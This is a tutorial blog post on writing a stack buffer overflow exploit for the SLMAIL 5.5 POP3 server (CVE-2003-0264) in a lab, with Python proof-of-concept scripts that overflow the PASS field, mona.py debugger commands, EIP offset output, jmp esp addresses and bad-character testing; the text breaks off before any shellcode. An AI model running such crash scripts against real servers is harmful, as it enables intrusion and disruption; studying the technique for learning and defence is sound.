Writing Exploits for Win32 Systems from Scratch

Share this…

This post is aimed at those new to exploit development and wanting to understand the end-to-end process and types of techniques that need to be employed in order to realise a working exploit against a buffer overflow vulnerability. I acknowledge that there are more sophisticated techniques that can be employed in this area however for those looking to get into exploit development using a well-trodden road and against an older operating system helps simplify some of the concepts presented which aids understanding.

In this post, I will show the reader how to write an exploit for a stack-based buffer overflow vulnerability on a POP3 server called SLMAIL (version 5.5).

For the first version of the exploit, we are going to use a Windows XP SP3 English build with DEP in its default state (DEP is enabled by default for essential Windows programs only on Windows XP). We will then learn how to modify the exploit to work on the same system with DEP enabled, how to bypass ASLR to make the exploit work on a Windows 7 machine, and finally how to create a Metasploit module from our exploit and to customise it to cover different operating systems.

Our test lab consists of:

  • Windows XP SP3 English virtual machine with IP address 192.168.65.176
  • Windows 7 with IP address 192.168.65.177
  • Kali Linux with IP address 192.168.65.159

 

To help us on the development phase we are going to use the following tools:

  • Immunity Debugger (https://www.immunityinc.com/products/debugger/)
  • Mona.py (https://github.com/corelan/mona)
  • Notepad++
  • Metasploit Framework

 

First Exploit

The SLMAIL 5.5 POP3 Server has a public vulnerability (CVE-2003-0264) based on a buffer overflow on the stack that can be triggered by abusing the parameter “password” when a user attempts the authentication process.

This simple Python code triggers the vulnerability and makes the server crash:

 

import sys
import socket
buffer = 'A' * 6000
HOST = '127.0.0.1'
PORT = 110
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()

 

In the next screenshot we see the effect of executing such code with the process attached to Immunity Debugger. Note that although the vulnerability is in a network service that we can exploit remotely, we use the same Windows virtual machine to develop the exploit to make things easy.

Highlighted in red, we can see that there is an access violation trying to execute the code at the address 41414141. That address is the hexadecimal representation of “AAAA” (four As from our buffer of 6000 As). It is clear that we can control the instruction pointer (EIP), so it is possible to change the program behavior.

Once the vulnerability is known, the next steps to write an exploit for it are listed below:

  • Find the offset on the buffer to the exact four bytes that overwrite the saved EIP on the stack, which lets us control the execution flow.
  • Find enough space in memory we can control to store our shellcode.
  • Find the bad characters that could affect our exploit.
  • Find the value we must put in the saved EIP to make the execution flow jump to our shellcode stored in memory

First, drop the plugin mona.py into the PyCommands folder (inside the Immunity Debugger application folder).

You can check if mona.py is working by typing “!mona” in the command bar of the Immunity Debugger. If everything works, the log window will show the help screen of mona.py.

Next, configure mona.py to store data in a folder other than the default. The default location is the Immunity Debugger application folder, and on Windows 7 installations if you don’t run Immunity as Administrator when mona.py tries to store results, it will fail.

!mona config -set workingfolder c:\logs\%p

The code above sets up mona.py to create a folder inside the folder c:\logs, with the name of the process being debugged.

Once mona.py is configured, it is time to start investigating the vulnerability we are trying to exploit.

First we need to find the offset to the bytes that could control EIP. The fastest method to do this is using a feature included in Metasploit, called Metasploit pattern. Inside the framework tools folder, we find the scripts pattern_create.rb and pattern_offset.rb. The former creates a string pattern where every three-character substring is unique (e.g..: Aa0Aa1Aa2Aa3Aa4). The second script is to calculate the offset once we know which four bytes fits inside the EIP when the program crashes.

To make things easier, mona.py can create a unique cyclic pattern like Metasploit does. To create a cyclic pattern 6000 bytes in length with mona.py, the following command must be typed in the Immunity Debugger command bar.

!mona pc 6000

The command creates the file c:\logs\slmail\pattern.txt with the cyclic pattern inside. The pattern must be copied into the Python code. Here is how the poc2.py file would look:

import sys
import socket

# Cyclic pattern created with !mona pc 6000
buffer = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6AF7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6BF7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6CF7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6DF7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9Dw0Dw1Dw2Dw3Dw4Dw5Dw6Dw7Dw8Dw9Dx0Dx1Dx2Dx3Dx4Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6EF7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6FF7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6GF7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk6Gk7Gk8Gk9Gl0Gl1Gl2Gl3Gl4Gl5Gl6Gl7Gl8Gl9Gm0Gm1Gm2Gm3Gm4Gm5Gm6Gm7Gm8Gm9Gn0Gn1Gn2Gn3Gn4Gn5Gn6Gn7Gn8Gn9Go0Go1Go2Go3Go4Go5Go6Go7Go8Go9Gp0Gp1Gp2Gp3Gp4Gp5Gp6Gp7Gp8Gp9Gq0Gq1Gq2Gq3Gq4Gq5Gq6Gq7Gq8Gq9Gr0Gr1Gr2Gr3Gr4Gr5Gr6Gr7Gr8Gr9Gs0Gs1Gs2Gs3Gs4Gs5Gs6Gs7Gs8Gs9Gt0Gt1Gt2Gt3Gt4Gt5Gt6Gt7Gt8Gt9Gu0Gu1Gu2Gu3Gu4Gu5Gu6Gu7Gu8Gu9Gv0Gv1Gv2Gv3Gv4Gv5Gv6Gv7Gv8Gv9Gw0Gw1Gw2Gw3Gw4Gw5Gw6Gw7Gw8Gw9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2Gz3Gz4Gz5Gz6Gz7Gz8Gz9Ha0Ha1Ha2Ha3Ha4Ha5Ha6Ha7Ha8Ha9Hb0Hb1Hb2Hb3Hb4Hb5Hb6Hb7Hb8Hb9Hc0Hc1Hc2Hc3Hc4Hc5Hc6Hc7Hc8Hc9Hd0Hd1Hd2Hd3Hd4Hd5Hd6Hd7Hd8Hd9He0He1He2He3He4He5He6He7He8He9Hf0Hf1Hf2Hf3Hf4Hf5Hf6HF7Hf8Hf9Hg0Hg1Hg2Hg3Hg4Hg5Hg6Hg7Hg8Hg9Hh0Hh1Hh2Hh3Hh4Hh5Hh6Hh7Hh8Hh9Hi0Hi1Hi2Hi3Hi4Hi5Hi6Hi7Hi8Hi9Hj0Hj1Hj2Hj3Hj4Hj5Hj6Hj7Hj8Hj9Hk0Hk1Hk2Hk3Hk4Hk5Hk6Hk7Hk8Hk9Hl0Hl1Hl2Hl3Hl4Hl5Hl6Hl7Hl8Hl9Hm0Hm1Hm2Hm3Hm4Hm5Hm6Hm7Hm8Hm9Hn0Hn1Hn2Hn3Hn4Hn5Hn6Hn7Hn8Hn9Ho0Ho1Ho2Ho3Ho4Ho5Ho6Ho7Ho8Ho9Hp0Hp1Hp2Hp3Hp4Hp5Hp6Hp7Hp8Hp9Hq0Hq1Hq2Hq3Hq4Hq5Hq6Hq7Hq8Hq9Hr0Hr1Hr2Hr3Hr4Hr5Hr6Hr7Hr8Hr9'

HOST = '127.0.0.1'
PORT = 110

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()

The next step is to attach the slmail process to the Immunity Debugger and run the poc2.py file. The process crashed and Immunity Debugger shows an access violation. We need to look at the EIP value and take note of its value at the crash moment.

To figure out the offset to the EIP control bytes, mona.py offers two options:

!mona pattern_offset 0x7A46317A (where 0x7A46317A is the value of EIP at the crash time)
!mona findmsp

The first method shows the distance to the four bytes that control EIP, in the log window of Immunity.

The second method will create the file c:\logs\slmail\findmsp.txt. The content of the file should look like:

[+] Looking for cyclic pattern in memory
    Cyclic pattern (normal) found at 0x016118e8 (length 6000 bytes)
    EIP contains normal pattern : 0x7a46317a (offset 4654)
    ESP (0x01cea154) points at offset 4658 in normal pattern (length 430)
    EBP contains normal pattern : 0x46307a46 (offset 4650)    
[+] Examining SEH chain
[+] Examining stack (entire stack) - looking for cyclic pattern
    Walking stack from 0x01ce8000 to 0x01cefffc (0x00007ffc bytes)
    0x01ce8fe4 : Contains normal cyclic pattern at ESP-0x1170 (-4464) : offset 4092, length 996 (-> 0x01ce93c7 : ESP-0xd8c)
    0x01ce9f20 : Contains normal cyclic pattern at ESP-0x234 (-564) : offset 4094, length 994 (-> 0x01cea301 : ESP+0x1ae)
    0x01ceab14 : Contains normal cyclic pattern at ESP+0x9c0 (+2496) : offset 4092, length 996 (-> 0x01ceaeF7 : ESP+0xda4)
    0x01cecf1c : Contains normal cyclic pattern at ESP+0x2dc8 (+11720) : offset 4092, length 996 (-> 0x01ced2ff : ESP+0x31ac)
[+] Examining stack (entire stack) - looking for pointers to cyclic pattern
    Walking stack from 0x01ce8000 to 0x01cefffc (0x00007ffc bytes)
    0x01ce8f94 : Pointer into normal cyclic pattern at ESP-0x11c0 (-4544) : 0x01cea148 : offset 4646, length 442
    0x01ce9c58 : Pointer into normal cyclic pattern at ESP-0x4fc (-1276) : 0x01ceae00 : offset 4840, length 248
    0x01ce9d20 : Pointer into normal cyclic pattern at ESP-0x434 (-1076) : 0x01cea010 : offset 4334, length 754
    0x01ce9dcc : Pointer into normal cyclic pattern at ESP-0x388 (-904) : 0x01cea08c : offset 4458, length 630
    0x01ce9ddc : Pointer into normal cyclic pattern at ESP-0x378 (-888) : 0x01cea010 : offset 4334, length 754
    0x01ce9de0 : Pointer into normal cyclic pattern at ESP-0x374 (-884) : 0x01cea060 : offset 4414, length 674
    0x01ce9df0 : Pointer into normal cyclic pattern at ESP-0x364 (-868) : 0x01cea00c : offset 4330, length 758
    0x01cef378 : Pointer into normal cyclic pattern at ESP+0x5224 (+21028) : 0x01cecf1c : offset 4092, length 996
    0x01cef4d8 : Pointer into normal cyclic pattern at ESP+0x5384 (+21380) : 0x01ced07c : offset 4444, length 644
    0x01cef588 : Pointer into normal cyclic pattern at ESP+0x5434 (+21556) : 0x01cea158 : offset 4662, length 426
    0x01cef5d4 : Pointer into normal cyclic pattern at ESP+0x5480 (+21632) : 0x0160f0c4 : offset 4091, length 1909
    0x01ceF704 : Pointer into normal cyclic pattern at ESP+0x55b0 (+21936) : 0x01cea2d4 : offset 5042, length 46
    0x01ceF75c : Pointer into normal cyclic pattern at ESP+0x5608 (+22024) : 0x0160f0c4 : offset 4091, length 1909

As can be seen, this method offers lots of information. First of all, we can see that EIP contains bytes of the normal pattern at the offset 4654.We can see that ESP points to the cyclic pattern at the offset 4658 just behind the four bytes that control EIP, and mona.py also informs us that we have 430 bytes length to store data.

As a plus, mona.py offers information about several memory locations that contain the cyclic pattern, and several memory pointers that point directly to the cyclic pattern. We now have the information needed to write an exploit.

We can put the shellcode just behind the four bytes that control EIP (at offset 4658) because we know that the register ESP is pointing directly to this address. So to change the flow control of the process and control the execution, we just need to put the memory address of an instruction that makes a jump to the address ESP points to inyo EIP. So we need to find an instruction like jmp esp, call esp, or push esp; ret.

To find these instructions in memory, we are going to use mona.py again. In the Immunity Debugger command bar, after attaching it to the slmail process, we execute:

!mona jmp -r ESP

This command tells mona.py to search for an instruction to jump to ESP inside the process binary and the DLLs loaded in memory on execution time (by default it looks in all DLLs loaded in memory; we can use the -m switch to make it search in DLLs passed as parameters). The result is stored in the file c:\logs\slmail\jmp.txt. Here is part of the file created:

0x7608bce1 : jmp esp |  {PAGE_EXECUTE_READ} [MSVCP60.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.02.3104.0 (C:\WINDOWS\system32\MSVCP60.dll)
0x7c91fcd8 : jmp esp |  {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6055 (C:\WINDOWS\system32\ntdll.dll)
0x71a91c8b : jmp esp |  {PAGE_EXECUTE_READ} [wshtcpip.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\System32\wshtcpip.dll)
0x77559c77 : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)
0x7755a9a8 : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)
0x775a693b : jmp esp | asciiprint,ascii {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)
0x775aa873 : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)
0x775c0af3 : jmp esp |  {PAGE_EXECUTE_READ} [ole32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6435 (C:\WINDOWS\system32\ole32.dll)
0x77fab257 : jmp esp |  {PAGE_EXECUTE_READ} [SHLWAPI.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v6.00.2900.5912 (C:\WINDOWS\system32\SHLWAPI.dll)
0x662eb24f : jmp esp |  {PAGE_EXECUTE_READ} [hnetcfg.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\hnetcfg.dll)
0x7e429353 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e4456F7 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e455aF7 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)
0x7e45b310 : jmp esp |  {PAGE_EXECUTE_READ} [USER32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.5512 (C:\WINDOWS\system32\USER32.dll)

Any of these memory addresses containing a jmp esp instructions is good to put in EIP and make the flow jump to our shellcode.

We need consider and address any bad characters (bad char), because if the address chosen contains a bad char the exploit will fail.

So we need to figure out what bad chars affect our exploit. For this task, mona.py comes in handy again.

The task of finding bad chars is very simple once the process is understood:

  • You need to create a byte array with all possible bytes (from 0x00 to 0xff) and put them all in the buffer injected in the exploit
  • Run the process attached to the debugger
  • Execute the exploit
  • After the crash, compare the byte array in memory with the original byte array. If a byte has changed, it is a bad char
  • Repeat the last step taking any bad char detected out from the array, until the byte array fits in memory equal to the byte array generated

To create the byte array:

!mona bytearray

This will generate two files in c:\logs\slmail: bytearray.txt, with the array in text format to use on the exploit, and bytearray.bin, with the exact representation of this byte array in memory.

Here is the exploit with the byte array:

import sys
import socket

bytearray=(\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f
\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f
\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f
\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f
\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f
\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf
\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf
\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xF7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff
)

buff_size = 6000
buffer ='A'*4654
buffer += 'BBBB'
buffer += bytearray
buffer += 'C'*(buff_size - len(buffer))
HOST = '127.0.0.1'
PORT = 110

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
data = s.recv(1024)
s.send('USER username'+'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
s.close()

Note that we put the byte array just behind the four bytes that can control EIP (four “B”s in this POC), so the register ESP will be directly pointing to the byte array after the process crash.

Reload the process, attach it to the Immunity Debugger and launch the exploit.

Once the process has crashed, enter this command in Immunity:

!mona compare -f c:\logs\slmail\bytearray.bin -a 0x01cea154 (address contained on ESP)

This command tells mona.py to compare the memory from the address given with the content of the bytearray.bin file (if no address is given, the compare function searches for the bytearray in all memory and performs the comparison).

There is corruption in the first byte. Create the byte array again excluding 0x00 and run the “compare” command again. To exclude 0x00 from the byte array use this command on mona.py:

!mona bytearray -cpb \x00 

Update the exploit and execute it again with the process attached to the debugger Once the process crashes, execute the following command:

!mona compare -f c:\logs\slmail\bytearray.bin -a 0x01cea154

Now we have to exclude 0x0a:

!mona bytearray -cpb \x00\x0a 

Update the exploit, attach the process to the debugger, run the exploit and then compare again:

